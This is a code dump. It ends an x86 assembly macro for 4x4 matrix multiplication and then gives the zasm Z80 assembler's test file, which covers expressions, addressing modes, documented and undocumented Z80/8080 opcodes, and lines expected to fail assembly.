clean ecx
editMatrix %3, 0, 3, eax
;next
getFromMatrix %1, 1, 3, eax
getFromMatrix %2, 0, 3, ebx
Mmul eax, bx
getFromMatrix %2, 1, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 1, 3, eax
;next
getFromMatrix %1, 2, 3, eax
getFromMatrix %2, 0, 3, ebx
Mmul eax, bx
getFromMatrix %2, 1, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 2, 3, eax
;next
getFromMatrix %1, 3, 3, eax
getFromMatrix %2, 0, 3, ebx
Mmul eax, bx
getFromMatrix %2, 1, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 2, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
getFromMatrix %2, 3, 3, ebx
Mmul ecx, bx
sum eax, ecx
clean ecx
editMatrix %3, 3, 3, eax
;NEXT ROW
%endmacro |
Test/Z80/zasm-test-opcodes.asm | codebje/zasm | 0 | 28236 | <gh_stars>0
#!/usr/local/bin/zasm --ixcbr2 -o original/
; –––––––––––––––––––––––––––––––––––––––––––––––––
; zasm test file
; –––––––––––––––––––––––––––––––––––––––––––––––––
;
; 2014-10-29 kio
; 2014-12-25 kio
; 2014-12-26 kio
; 2014-12-27 kio
; 2014-12-31 kio: jp(hl) for 8080 allowed, removed 8080regs
; tests selector:
; other selectors are from command line options:
; --ixcbr2 set n,(ix+dis),r etc.
; --ixcbxh set n,(xh) etc.
; --8080 8080 instructions only
; --z180 Z180 / HD64180 additional instructions
org 0
; –––––––––––––––––––––––––––––––––––––––––––––––––
; test expressions
; –––––––––––––––––––––––––––––––––––––––––––––––––
#local
n5 = 5
n20 equ 20
n20 equ 20
; test_fails:
!anton equ 20 30 ; operator missing
!n20 equ 30 ; label redefined
!foo equ ; value missing
db 10
db $10
db %10
db 10h
db 10b
db 0x10
db 'A'
db -123
db +123
db 0
db 2
db 0b
db 1b
db 8h
db 0b1010
db 0b10
#ASSERT 0 == 0
#aSSert -1 == -1
#assert 33 == 33
#assert 5 > 3
#assert 3 < 5
#assert 5 != 3
#assert 3 >= 3
#assert 3 <= 3
#assert 5 >= 3
#assert 3 <= 5
#assert (0 || 0) == 0
#assert (0 && 0) == 0
#assert (1 || 1) == 1
#assert (1 && 1) == 1
#assert (0 || 1) == 1
#assert (1 && 0) == 0
#assert (1 || foo) == 1
#assert (0 && foo) == 0
#assert 0 ? 0 : 1
#assert 0 ? foo : 1
#assert 1 ? 1 : foo
#assert !(1 ? 0 : 1)
#assert !(0 ? 1 : 0)
#assert 1||0 ? 1 : 0
#assert 0||1 ? 1 : 0
#assert 0&&1 ? 0 : 1
#assert 1&&0 ? 0 : 1
#assert !(0 && 0 == 0)
#assert 1 ? 1 : 1 ? 0 : 0
#assert 0 ? 0 : 1 ? 1 : 0
#assert 0 ? 0 : 0 ? 0 : 1
#assert 1 ? 1 ? 1 : 0 : 1 ? 0 : 0
#assert 1 ? 1 ? 1 : 0 : 0 ? 0 : 0
#assert 1 ? 0 ? 0 : 1 : 1 ? 0 : 0
#assert 1 ? 0 ? 0 : 1 : 0 ? 0 : 0
#assert 0 ? 1 ? 0 : 0 : 1 ? 1 : 0
#assert 0 ? 0 ? 0 : 0 : 1 ? 1 : 0
#assert 0 ? 1 ? 0 : 0 : 0 ? 0 : 1
#assert 0 ? 0 ? 0 : 0 : 0 ? 0 : 1
#assert !(1 ? 0 : 1 ? 1 : 1)
#assert !(0 ? 1 : 1 ? 0 : 1)
#assert !(1 ? 1 ? 0 : 1 : 1 ? 1 : 1)
#assert !(0 ? 1 ? 1 : 1 : 1 ? 0 : 1)
#assert !(0 ? 1 ? 1 : 1 : 0 ? 1 : 0)
#assert -n20 == -20
#assert ~0 == -1
#assert ~-1 == 0
#assert !0 == 1
#assert !77 == 0
#assert !-33 == 0
#assert !-0 == 1
#assert 3|5 == 7
#assert 3&5 == 1
#assert 3^5 == 6
#assert 3<<2 == 3*4
#assert 0xff00<<4 == 0xff000
#assert 7>>1 == 3
#assert 0xff00>>4 == 0x0ff0
#assert 3 + 5 == 8
#assert 3 + -5 == -2
#assert 3-5==-2
#assert 3- -5==8
#assert 3*5==15
#assert 3*-5==-15
#assert 3/5==0
#assert 55/3==18
#assert -55/3==-18
#assert 55/-3==-18
#assert -55/-3==18
#assert 6/3==2
#assert 3%5==3
#assert 55%3==1
#assert -55%3==-1
#assert 55%-3==1
#assert -55%-3==-1
#assert 6%3==0
#assert 3 == 3/5*5 + 3%5
#assert 55 == 55/3*3 + 55%3
#assert -55 == -55/3*3 + -55%3
#assert 55 == 55/-3*-3 + 55%-3
#assert -55 == -55/-3*-3 + -55%-3
#assert 6 == 6/3*3 + 6%3
#assert n5+n20 == 25
#assert n5+n20*2 == 45
#assert n20*2+n5 == 45
#assert 2+4-1*7 == -1
#assert -(20) == 20 * -1
#assert n20/7 == 2
#assert (n20+1)/7 == 3
#assert 1 + 2*3<<4 == 97
#assert hi(1234h) == 12h
#assert lo(1234h) == 34h
#assert opcode(nop) == 0
#assert opcode(ld a,n) == 0x3e
#assert opcode(ld bc,(nn)) == 4Bh
#assert opcode(adc hl,bc) == 4Ah
#assert opcode(rla) == 17h
#assert opcode(rr b) == 18h
#assert opcode(bit 1,(ix+dis)) == 4Eh
#assert opcode(jp nn) == 0C3h
#assert opcode(jr c,dis) == 38h
#assert opcode(rst 8) == 0CFh
#assert &1234 == 0x1234
#assert 1234h == 0x1234
#assert $1234 == 0x1234
#assert &A234 == 0xA234
#assert 0A234h == 0xA234
#assert $A234 == 0xA234
#assert &AF00 + &FE == $AFFE
#assert (0 ? &AF00 + &FE : 123) == 123
#assert (1 ? &AF00 + &FE : 123) == &AFFE
#assert $AF00 + $FE == 0xAFFE
#assert (0 ? $AF00 + $FE : 123) == 123
#assert (1 ? $AF00 + $FE : 123) == 0AFFEh
#assert 0xAF00 + 0xFE == 0xAFFE
#assert (0 ? 0xAF00 + 0xFE : 123) == 123
#assert (1 ? 0xAF00 + 0xFE : 123) == 0AFFEh
#assert 0AF00h + 0FEh == 0xAFFE
#assert (0 ? 0AF00h + 0FEh : 123) == 123
#assert (1 ? 0AF00h + 0FEh : 123) == $AFFE
#endlocal
; –––––––––––––––––––––––––––––––––––––––––––––––––
; test addressing modes
; –––––––––––––––––––––––––––––––––––––––––––––––––
#local
ld a,0
ld b,1
ld c,2
ld d,#3
ld e,4
ld h,5
ld l,6
ld hl,1234h
ld (hl),7
in a,(33)
out (33),a
rst 0
rst 1
rst 8
rst n6
jp p,nn
jp m,nn
jp pe,nn
jp po,nn
POP af
Pop bc
PoP de
pOp hl
ld sp,hl
ex hl,(sp)
ld a,(nn)
ld a,(bc)
ld a,(de)
rrca
#if !defined(_8080_)
in d,(c)
in d,(bc)
in f,(c)
in (bc)
out (c),d
out (bc),d
out (bc),0
im 1
bit 6,h
jr $
1$: jr 1$
jr z,$
jr nz,$
jr c,$
jr nc,$
ex af,af'
ld a,i
ld a,r
pop ix
pop iy
ld (ix),8
ld (ix+2),9
ld 2(ix),10
ld (iy),11
ld (iy+2),12
ld 2(iy),13
ld +3(ix),14
ld 2+3(ix),15
ld (ix-2),16
ld (ix+2-3),17
ld (ix-3+2),18
ld (ix+3*2),19
ld (ix+33h),nn
ld (ix-33h),nn
ld (ix),nn
ld 33h(ix),nn
ld -33h(ix),nn
ld (ix+33h+5),nn
#endif
nn equ 0x40
n6 equ 6
#endlocal
; –––––––––––––––––––––––––––––––––––––––––––––––––
; 8080/z80 opcodes (z80 syntax)
; –––––––––––––––––––––––––––––––––––––––––––––––––
ccf
cpl
daa
di
ei
halt
Nop
Rla
Rlca
Rra
Rrca
scf
in a,(n)
out (n),a
; ––––––––––––––––––––––––––––––––––
ADD a,(hl)
add a,a
add a,b
add a,c
add a,d
add a,e
add a,h
add a,l
ADD (hl)
add a,n
add a
add b
add n
ADC a,(hl)
adc a,a
adc a,b
adc a,c
adc a,d
adc a,e
adc a,h
adc a,l
adc a,n
adc a
adc b
adc n
sbc a,(hl)
sbc a,a
sbc a,b
sbc a,c
sbc a,d
sbc a,e
sbc a,h
sbc a,l
sbc a,n
sbc a
sbc b
sbc n
sub (HL)
sub A
sub B
sub C
sub D
sub E
sub H
sub L
sub n
sub a,A
sub a,B
sub a,n
sub a,(hl)
AND (HL)
and A
and B
and C
and D
and E
and H
and L
and n
and a,A
and a,B
and a,n
and a,(hl)
or (HL)
or A
or B
or C
or D
or E
or H
or L
or n
or a,A
or a,B
or a,n
or a,(hl)
xor (HL)
xor A
xor B
xor C
xor D
xor E
xor H
xor L
xor n
xor a,A
xor a,B
xor a,n
xor a,(hl)
cp (HL)
cp A
cp B
cp C
cp D
cp E
cp H
cp L
cp n
cp a,A
cp a,B
cp a,n
cp a,(hl)
; ––––––––––––––––––––––––––––––––––
inc (HL)
inc a
inc b
inc c
inc d
inc e
inc h
inc l
DEC (HL)
dec a
dec b
dec c
dec d
dec e
dec h
dec l
; ––––––––––––––––––––––––––––––––––
ld a,a
ld a,b
ld a,c
ld a,d
ld a,e
ld a,h
ld a,l
ld a,(hl)
ld a,n
ld b,a
ld b,b
ld b,c
ld b,d
ld b,e
ld b,h
ld b,l
ld b,(hl)
ld b,n
ld c,a
ld c,b
ld c,c
ld c,d
ld c,e
ld c,h
ld c,l
ld c,(hl)
ld c,n
ld d,a
ld d,b
ld d,c
ld d,d
ld d,e
ld d,h
ld d,l
ld d,(hl)
ld d,n
ld e,a
ld e,b
ld e,c
ld e,d
ld e,e
ld e,h
ld e,l
ld e,(hl)
ld e,n
ld h,a
ld h,b
ld h,c
ld h,d
ld h,e
ld h,h
ld h,l
ld h,(hl)
ld h,n
ld l,a
ld l,b
ld l,c
ld l,d
ld l,e
ld l,h
ld l,l
ld l,(hl)
ld l,n
ld (hl),a
ld (hl),b
ld (hl),c
ld (hl),d
ld (hl),e
ld (hl),h
ld (hl),l
ld (hl),n
LD (BC),A
ld (de),a
ld (nn),a
ld a,(bc)
ld a,(de)
ld a,(nn)
; ––––––––––––––––––––––––––––––––––
jp c,nn
jp m,nn
jp nc,nn
jp nz,nn
jp p,nn
jp pe,nn
jp po,nn
jp Z,nn
JP nn
jp (hl)
jp hl
CALL C,nn
call m,nn
call nc,nn
call nz,nn
call P,nn
call pe,nn
call po,nn
call z,nn
call nn
RET
ret c
ret m
ret nc
ret nz
ret p
ret pe
ret po
ret z
RST 00h
rst 08h
rst n16
rst 18h
rst 20h
rst 28h
rst 30h
rst $38
rst 0
rst n1
rst 2
rst 3
rst 4
rst 5
rst n6
rst 7
; ––––––––––––––––––––––––––––––––––
ex de,hl
ex hl,de
EX (sp),hl
EX hl,(sp)
POP af
pop bc
pop de
pop hl
PUSH af
push bc
push de
push hl
ld sp,hl
ld bc,nn
ld de,nn
ld hl,nn
ld sp,nn
add hl,bc
add hl,de
add hl,hl
add hl,sp
inc bc
inc de
inc hl
inc sp
dec bc
dec de
dec hl
dec sp
; ––––––––––––––––––––––––––––––––––
nn equ 0x4142
n equ 40h
; –––––––––––––––––––––––––––––––––––––––––––––––––
; Z80 / non 8080 opcodes
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if !defined(_8080_)
exx
Neg
cpd
cpdr
cpir
cpi
Ind
Indr
Ini
Inir
Ldd
Lddr
Ldi
Ldir
Otdr
Otir
Outd
Outi
Rld
Rrd
Reti
Retn
djnz $
ex af,af'
IM 0
im n1
im 2
loop2:
jr loop2
JR C,loop2
jr nc,loop2
jr nz,loop2
jr z,loop2
; ––––––––––––––––––––––––––––––––––
adc hl,bc
adc hl,de
adc hl,hl
adc hl,sp
sbc hl,bc
sbc hl,de
sbc hl,hl
sbc hl,sp
; ––––––––––––––––––––––––––––––––––
IN a,(c)
in b,(bc)
in c,(c)
in d,(bc)
in e,(c)
in h,(bc)
in l,(c)
in f,(bc)
OUT (c),a
out (bc),b
out (c),c
out (bc),d
out (c),e
out (bc),h
out (c),l
out (c),0
; ––––––––––––––––––––––––––––––––––
ld a,i
ld a,r
ld i,a
ld r,a
ld (nn),bc
ld (nn),de
ld (nn),hl
ld (nn),sp
ld bc,(nn)
ld de,(nn)
ld hl,(nn)
ld sp,(nn)
; ––––––––––––––––––––––––––––––––––
bit 0,a
bit 0,b
bit 0,c
bit 0,d
bit 0,e
bit 0,h
bit 0,l
BIT 0,(hl)
bit 1,a
BIT n1,(hl)
bit 2,h
BIT 2,(hl)
bit 3,l
BIT 3,(hl)
bit 4,d
BIT 4,(hl)
bit 5,e
BIT 5,(hl)
bit 6,c
BIT n6,(hl)
bit 7,b
BIT 7,(hl)
res 0,a
res 0,b
res 0,c
res 0,d
res 0,e
res 0,h
res 0,l
res 0,(hl)
res 1,a
res 1,(hl)
res 2,h
res 2,(hl)
res 3,l
res 3,(hl)
res 4,d
res 4,(hl)
res 5,e
res 5,(hl)
res 6,c
res 6,(hl)
res 7,b
res 7,(hl)
set 0,a
set 0,b
set 0,c
set 0,d
set 0,e
set 0,h
set 0,l
set 0,(hl)
set 1,a
set n1,(hl)
set 2,h
set 2,(hl)
set 3,l
set 3,(hl)
set 4,d
set 4,(hl)
set 5,e
set 5,(hl)
set 6,c
set n6,(hl)
set 7,b
set 7,(hl)
; ––––––––––––––––––––––––––––––––––
RL (hl)
rl a
rl b
rl c
rl d
rl e
rl h
rl l
RLC (hl)
rlc a
rlc b
rlc c
rlc d
rlc e
rlc h
rlc l
RR (hl)
rr a
rr b
rr c
rr d
rr e
rr h
rr l
RRC (hl)
rrc a
rrc b
rrc c
rrc d
rrc e
rrc h
rrc l
sla (hl)
sla a
sla b
sla c
sla d
sla e
sla h
sla l
sll (hl)
sll a
sll b
sll c
sll d
sll e
sll h
sll l
sra (hl)
sra a
sra b
sra c
sra d
sra e
sra h
sra l
srl (hl)
srl a
srl b
srl c
srl d
srl e
srl h
srl l
#endif
; –––––––––––––––––––––––––––––––––––––––––––––––––
; Z80 / non 8080 opcodes
; using index register
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if !defined(_8080_)
jp ix
jp iy
jp (ix)
jp (iy)
ld sp,ix
ld sp,iy
ld (nn),ix
ld (nn),iy
ld ix,(nn)
ld iy,(nn)
ld ix,nn
ld iy,nn
add ix,bc
add ix,de
add ix,ix
add ix,sp
add iy,bc
add iy,de
add iy,iy
add iy,sp
inc ix
inc iy
dec ix
dec iy
ex (sp),ix
ex ix,(sp)
ex (sp),iy
ex iy,(sp)
pop ix
pop iy
push ix
push iy
; ––––––––––––––––––––––––––––––––––
ld a,ixh ; illegal
ld a,ixl ; illegal
ld a,iyh ; illegal
ld a,iyl ; illegal
ld b,xh ; illegal
ld b,xl ; illegal
ld b,yh ; illegal
ld b,yl ; illegal
ld c,ixh ; illegal
ld c,ixl ; illegal
ld c,iyh ; illegal
ld c,iyl ; illegal
ld d,xh ; illegal
ld d,xl ; illegal
ld d,yh ; illegal
ld d,yl ; illegal
ld e,ixh ; illegal
ld e,ixl ; illegal
ld e,iyh ; illegal
ld e,iyl ; illegal
ld xh,a ; illegal
ld xh,b ; illegal
ld xh,c ; illegal
ld xh,d ; illegal
ld xh,e ; illegal
ld xh,xh ; illegal
ld xh,xl ; illegal
ld xh,n ; illegal
ld yl,a ; illegal
ld yl,b ; illegal
ld yl,c ; illegal
ld yl,d ; illegal
ld yl,e ; illegal
ld yl,yh ; illegal
ld yl,yl ; illegal
ld yl,n ; illegal
ld a,(ix+1)
ld a,(iy+n1)
ld b,(ix+n1)
ld b,(iy+1)
ld c,(ix+1)
ld c,(iy+n1)
ld d,(ix+1)
ld d,(iy+n1)
ld e,(ix+n1)
ld e,(iy+1)
ld h,(ix+1)
ld h,(iy+n1)
ld l,(ix+1)
ld l,(iy+n1)
ld (ix+1),a
ld (ix+1),b
ld (ix+1),c
ld (ix+n1),d
ld (ix+1),e
ld (ix+1),h
ld (ix+1),l
ld (ix+1),n
ld (iy+1),a
ld (iy+1),b
ld (iy+1),c
ld (iy+1),d
ld (iy+n1),e
ld (iy+1),h
ld (iy+1),l
ld (iy+1),n
; ––––––––––––––––––––––––––––––––––
add a,xh ; illegal
add a,xl ; illegal
add a,yh ; illegal
add a,yl ; illegal
sub a,XH ; illegal
sub a,XL ; illegal
sub a,YH ; illegal
sub a,YL ; illegal
adc a,xh ; illegal
adc a,xl ; illegal
adc a,yh ; illegal
adc a,yl ; illegal
sbc a,xh ; illegal
sbc a,xl ; illegal
sbc a,yh ; illegal
sbc a,yl ; illegal
and a,XH ; illegal
and a,XL ; illegal
and a,YH ; illegal
and a,YL ; illegal
or a,XH ; illegal
or a,XL ; illegal
or a,YH ; illegal
or a,YL ; illegal
xor a,XH ; illegal
xor a,XL ; illegal
xor a,YH ; illegal
xor a,YL ; illegal
cp a,XH ; illegal
cp a,XL ; illegal
cp a,YH ; illegal
cp a,YL ; illegal
inc xh ; illegal
inc xl ; illegal
inc yh ; illegal
inc yl ; illegal
dec xh ; illegal
dec xl ; illegal
dec yh ; illegal
dec yl ; illegal
; ––––––––––––––––––––––––––––––––––
add a,(ix+1)
add a,(iy+n1)
sub (ix+1)
sub (iy+1)
sub a,(ix+1)
sub a,(iy+1)
adc a,(ix+1)
adc a,(iy+n1)
sbc a,(ix+1)
sbc a,(iy+1)
AND (ix+1)
AND (iy+1)
and a,(ix+1)
and a,(iy+n1)
or (ix+1)
or (iy+1)
or a,(ix+1)
or a,(iy+1)
xor (ix+1)
xor (iy+1)
xor a,(ix+1)
xor a,(iy+1)
cp (ix+n1)
cp (iy+1)
cp a,(ix+1)
cp a,(iy+1)
inc (IX+1)
inc (iy+1)
dec (IX+n1)
dec (iy+1)
; ––––––––––––––––––––––––––––––––––
bit 0,(ix+n1)
bit 0,(iy+1)
bit 1,(ix+1)
bit 2,(iy+1)
bit 3,(ix+1)
bit 4,(iy+1)
bit 5,(ix+1)
bit 6,(iy+1)
bit 7,(ix+1)
res 0,(ix+1)
res 0,(iy+1)
res 1,(ix+1)
res 2,(iy+1)
res 3,(ix+1)
res 4,(iy+1)
res 5,(ix+1)
res 6,(iy+1)
res 7,(ix+1)
set 0,(ix+1)
set 0,(iy+1)
set 1,(ix+1)
set 2,(iy+1)
set 3,(ix+1)
set 4,(iy+1)
set 5,(ix+1)
set 6,(iy+1)
set 7,(ix+1)
rl (ix+1)
rl (iy+1)
rlc (ix+1)
rlc (iy+1)
rr (ix+1)
rr (iy+1)
rrc (ix+1)
rrc (iy+1)
sla (ix+1)
sla (iy+1)
sll (ix+1)
sll (iy+1)
sra (ix+1)
sra (iy+1)
srl (ix+1)
srl (iy+1)
#endif ; !defined(i8080)
; –––––––––––––––––––––––––––––––––––––––––––––––––
; z80 illegal IXCB opcodes
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if defined(_ixcbxh_)
sra xh
sra yl
sla xh
sla yl
srl xh
srl yl
sll xh
sll yl
rl xh
rl yl
rlc xh
rlc yl
rr xh
rr yl
rrc xh
rrc yl
bit 0,xh ; illegal
bit 1,xl ; illegal
bit 2,yh ; illegal
bit 3,yl ; illegal
bit 4,xh ; illegal
bit 5,xl ; illegal
bit 6,yh ; illegal
bit 7,yl ; illegal
res 0,xh ; illegal
res 1,xl ; illegal
res 2,yh ; illegal
res 3,yl ; illegal
res 4,xh ; illegal
res 5,xl ; illegal
res 6,yh ; illegal
res 7,yl ; illegal
set 0,xh ; illegal
set 1,xl ; illegal
set 2,yh ; illegal
set 3,yl ; illegal
set 4,xh ; illegal
set 5,xl ; illegal
set 6,yh ; illegal
set 7,yl ; illegal
#endif
#if !defined(_ixcbxh_)
! bit 0,xh ; illegal
! bit 1,xl ; illegal
! bit 2,yh ; illegal
! bit 3,yl ; illegal
! bit 4,xh ; illegal
! bit 5,xl ; illegal
! bit 6,yh ; illegal
! bit 7,yl ; illegal
! res 0,xh ; illegal
! res 1,xl ; illegal
! res 2,yh ; illegal
! res 3,yl ; illegal
! res 4,xh ; illegal
! res 5,xl ; illegal
! res 6,yh ; illegal
! res 7,yl ; illegal
! set 0,xh ; illegal
! set 1,xl ; illegal
! set 2,yh ; illegal
! set 3,yl ; illegal
! set 4,xh ; illegal
! set 5,xl ; illegal
! set 6,yh ; illegal
! set 7,yl ; illegal
! rl xh
! rl yl
! rlc xh
! rlc yl
! rr xh
! rr yl
! rrc xh
! rrc yl
! sra xh
! sra yl
! sla xh
! sla yl
! srl xh
! srl yl
! sll xh
! sll yl
#endif
#if defined(_ixcbr2_)
sra (ix+1),a
sra (iy+1),b
sla (ix+1),c
sla (iy+1),d
srl (ix+1),e
srl (iy+1),a
sll (ix+1),b
sll (iy+1),c
sra (iy+1),h
sla (ix+1),l
srl (iy+1),h
sll (ix+1),l
rl (ix+1),a
rl (iy+1),b
rlc (ix+1),c
rlc (iy+1),d
rr (ix+1),e
rr (iy+1),a
rrc (ix+1),b
rrc (iy+1),c
rl (iy+1),h
rlc (ix+1),l
rr (iy+1),h
rrc (ix+1),l
bit 0,(ix+1),a ; illegal TODO: evtl. they all behave like "bit b,(ix+dis)"
bit 1,(iy+1),b ; illegal because 'bit' does not write to register
bit 2,(ix+1),c ; illegal to be tested!
bit 3,(iy+1),h ; illegal different docs state different opinions!
bit 4,(ix+1),l ; illegal
bit 5,(iy+1),d ; illegal
bit 6,(ix+1),e ; illegal
bit 7,(iy+1),b ; illegal
res 0,(ix+1),a ; illegal
res 1,(iy+1),b ; illegal
res 2,(ix+1),c ; illegal
res 3,(iy+1),h ; illegal
res 4,(ix+1),l ; illegal
res 5,(iy+1),d ; illegal
res 6,(ix+1),e ; illegal
res 7,(iy+1),b ; illegal
set 0,(ix+1),a ; illegal
set 1,(iy+1),b ; illegal
set 2,(ix+1),c ; illegal
set 3,(iy+1),h ; illegal
set 4,(ix+1),l ; illegal
set 5,(iy+1),d ; illegal
set 6,(ix+1),e ; illegal
set 7,(iy+1),b ; illegal
#else ; if !defined(_ixcbr2_)
! rl (ix+1),a
! rl (iy+1),b
! rlc (ix+1),c
! rlc (iy+1),d
! rr (ix+1),e
! rr (iy+1),a
! rrc (ix+1),b
! rrc (iy+1),c
! sra (ix+1),a
! sra (iy+1),b
! sla (ix+1),c
! sla (iy+1),d
! srl (ix+1),e
! srl (iy+1),a
! sll (ix+1),b
! sll (iy+1),c
! bit 0,(ix+1),a ; illegal
! bit 1,(iy+1),b ; illegal
! bit 2,(ix+1),c ; illegal
! bit 3,(iy+1),h ; illegal
! bit 4,(ix+1),l ; illegal
! bit 5,(iy+1),d ; illegal
! bit 6,(ix+1),e ; illegal
! bit 7,(iy+1),b ; illegal
! res 0,(ix+1),a ; illegal
! res 1,(iy+1),b ; illegal
! res 2,(ix+1),c ; illegal
! res 3,(iy+1),h ; illegal
! res 4,(ix+1),l ; illegal
! res 5,(iy+1),d ; illegal
! res 6,(ix+1),e ; illegal
! res 7,(iy+1),b ; illegal
! set 0,(ix+1),a ; illegal
! set 1,(iy+1),b ; illegal
! set 2,(ix+1),c ; illegal
! set 3,(iy+1),h ; illegal
! set 4,(ix+1),l ; illegal
! set 5,(iy+1),d ; illegal
! set 6,(ix+1),e ; illegal
! set 7,(iy+1),b ; illegal
! rl (iy+1),h
! rlc (ix+1),l
! rr (iy+1),h
! rrc (ix+1),l
! sra (iy+1),h
! sla (ix+1),l
! srl (iy+1),h
! sll (ix+1),l
#endif
n6 equ 6
n1 equ 1
n16 equ 16
; –––––––––––––––––––––––––––––––––––––––––––––––––
; ill. arguments for all opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
! jr p,loop2
! jr m,loop2
! jr po,loop2
! jr pe,loop2
! im 3
! adc ix,bc
! adc ix,de
! adc ix,ix
! adc ix,iy
! adc ix,sp
! adc iy,bc
! adc iy,de
! adc iy,iy
! adc iy,ix
! adc iy,sp
! add ix,iy
! add ix,hl
! add iy,ix
! add iy,hl
! ld (hl),(hl)
! ld (ix+1),(ix+1)
! ld (ix+1),(iy+1)
! ld (iy+1),(hl)
! ld (iy+1),(ix+1)
! ld (iy+1),(iy+1)
! ld XH,(hl)
! ld xh,(ix+1)
! ld xh,(iy+1)
! ld xh,h
! ld xh,l
! ld xh,yl
! ld YL,(hl)
! ld yl,(ix+1)
! ld yl,(iy+1)
! ld yl,h
! ld yl,l
! ld yl,xh
! out (c),xh
! out (c),yl
! sbc ix,bc
! sbc ix,de
! sbc ix,ix
! sbc ix,iy
! sbc ix,sp
! sbc iy,bc
! sbc iy,de
! sbc iy,iy
! sbc iy,ix
! sbc iy,sp
; –––––––––––––––––––––––––––––––––––––––––––––––––
; ill. 8080 opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if defined(_8080_) ; z80 syntax, target 8080
! exx
! Neg
! cpd
! cpdr
! cpir
! cpi
! Ind
! Indr
! Ini
! Inir
! Ldd
! Lddr
! Ldi
! Ldir
! Otdr
! Otir
! Outd
! Outi
! Rld
! Rrd
! Reti
! Retn
! djnz $
#endif
; –––––––––––––––––––––––––––––––––––––––––––––––––
; ill. arguments for 8080 opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if defined(_8080_) ; z80 syntax, target 8080
! jp (ix)
! jp (iy)
; ––––––––––––––––––––––––––––––––––
loop3:
! jr loop3
! JR C,loop3
! jr nc,loop3
! jr nz,loop3
! jr z,loop3
; ––––––––––––––––––––––––––––––––––
! IM 0
! im n1
! im 2
; ––––––––––––––––––––––––––––––––––
! pop ix
! pop iy
! push ix
! push iy
! ld i,a
! ld r,a
! ld (nn),bc
! ld (nn),de
! ld (nn),ix
! ld (nn),iy
! ld (nn),sp
! ld bc,(nn)
! ld de,(nn)
! ld ix,(nn)
! ld iy,(nn)
! ld sp,(nn)
! ld ix,nn
! ld iy,nn
! ld (ix+1),b
! ld (ix+1),c
! ld (ix+n1),d
! ld (ix+1),e
! ld (ix+1),h
! ld (ix+1),l
! ld (ix+1),n
! ld (iy+1),b
! ld (iy+1),c
! ld (iy+1),d
! ld (iy+n1),e
! ld (iy+1),h
! ld (iy+1),l
! ld (iy+1),n
! ld xh,a ; illegal
! ld xh,b ; illegal
! ld xh,c ; illegal
! ld xh,d ; illegal
! ld xh,e ; illegal
! ld xh,xh ; illegal
! ld xh,xl ; illegal
! ld xh,n ; illegal
! ld yl,a ; illegal
! ld yl,b ; illegal
! ld yl,c ; illegal
! ld yl,d ; illegal
! ld yl,e ; illegal
! ld yl,yh ; illegal
! ld yl,yl ; illegal
! ld yl,n ; illegal
! add ix,bc
! add ix,de
! add ix,ix
! add ix,sp
! add iy,bc
! add iy,de
! add iy,iy
! add iy,sp
! adc hl,bc
! adc hl,de
! adc hl,hl
! adc hl,sp
! sbc hl,bc
! sbc hl,de
! sbc hl,hl
! sbc hl,sp
; ––––––––––––––––––––––––––––––––––
! inc (IX+1)
! inc (iy+1)
! inc xh ; illegal
! inc xl ; illegal
! inc yh ; illegal
! inc yl ; illegal
! inc ix
! inc iy
; ––––––––––––––––––––––––––––––––––
! dec (IX+n1)
! dec (iy+1)
! dec xh ; illegal
! dec ixl ; illegal
! dec iyh ; illegal
! dec yl ; illegal
! dec ix
! dec iy
; ––––––––––––––––––––––––––––––––––
! ex af,af'
! ex (sp),ix
! ex ix,(sp)
! ex (sp),iy
! ex iy,(sp)
; ––––––––––––––––––––––––––––––––––
! IN a,(c)
! in b,(bc)
! in c,(c)
! in d,(bc)
! in e,(c)
! in h,(bc)
! in l,(c)
! in f,(bc)
! in (c)
; ––––––––––––––––––––––––––––––––––
! OUT (c),a
! out (bc),b
! out (c),c
! out (bc),d
! out (c),e
! out (bc),h
! out (c),l
! out (c),0
; ––––––––––––––––––––––––––––––––––
! bit 0,a
! bit 0,b
! bit 0,c
! bit 0,d
! bit 0,e
! bit 0,h
! bit 0,l
! BIT 0,(hl)
! bit 0,(ix+n1)
! bit 0,(iy+1)
! bit 1,a
! BIT n1,(hl)
! bit 1,(ix+1)
! bit 2,h
! BIT 2,(hl)
! bit 2,(iy+1)
! bit 3,l
! BIT 3,(hl)
! bit 3,(ix+1)
! bit 4,d
! BIT 4,(hl)
! bit 4,(iy+1)
! bit 5,e
! BIT 5,(hl)
! bit 5,(ix+1)
! bit 6,c
! BIT n6,(hl)
! bit 6,(iy+1)
! bit 7,b
! BIT 7,(hl)
! bit 7,(ix+1)
; ––––––––––––––––––––––––––––––––––
! res 0,a
! res 0,b
! res 0,c
! res 0,d
! res 0,e
! res 0,h
! res 0,l
! res 0,(hl)
! res 0,(ix+1)
! res 0,(iy+1)
! res 1,a
! res 1,(hl)
! res 1,(ix+1)
! res 2,h
! res 2,(hl)
! res 2,(iy+1)
! res 3,l
! res 3,(hl)
! res 3,(ix+1)
! res 4,d
! res 4,(hl)
! res 4,(iy+1)
! res 5,e
! res 5,(hl)
! res 5,(ix+1)
! res 6,c
! res 6,(hl)
! res 6,(iy+1)
! res 7,b
! res 7,(hl)
! res 7,(ix+1)
; ––––––––––––––––––––––––––––––––––
! set 0,a
! set 0,b
! set 0,c
! set 0,d
! set 0,e
! set 0,h
! set 0,l
! set 0,(hl)
! set 0,(ix+1)
! set 0,(iy+1)
! set 1,a
! set n1,(hl)
! set 1,(ix+1)
! set 2,h
! set 2,(hl)
! set 2,(iy+1)
! set 3,l
! set 3,(hl)
! set 3,(ix+1)
! set 4,d
! set 4,(hl)
! set 4,(iy+1)
! set 5,e
! set 5,(hl)
! set 5,(ix+1)
! set 6,c
! set n6,(hl)
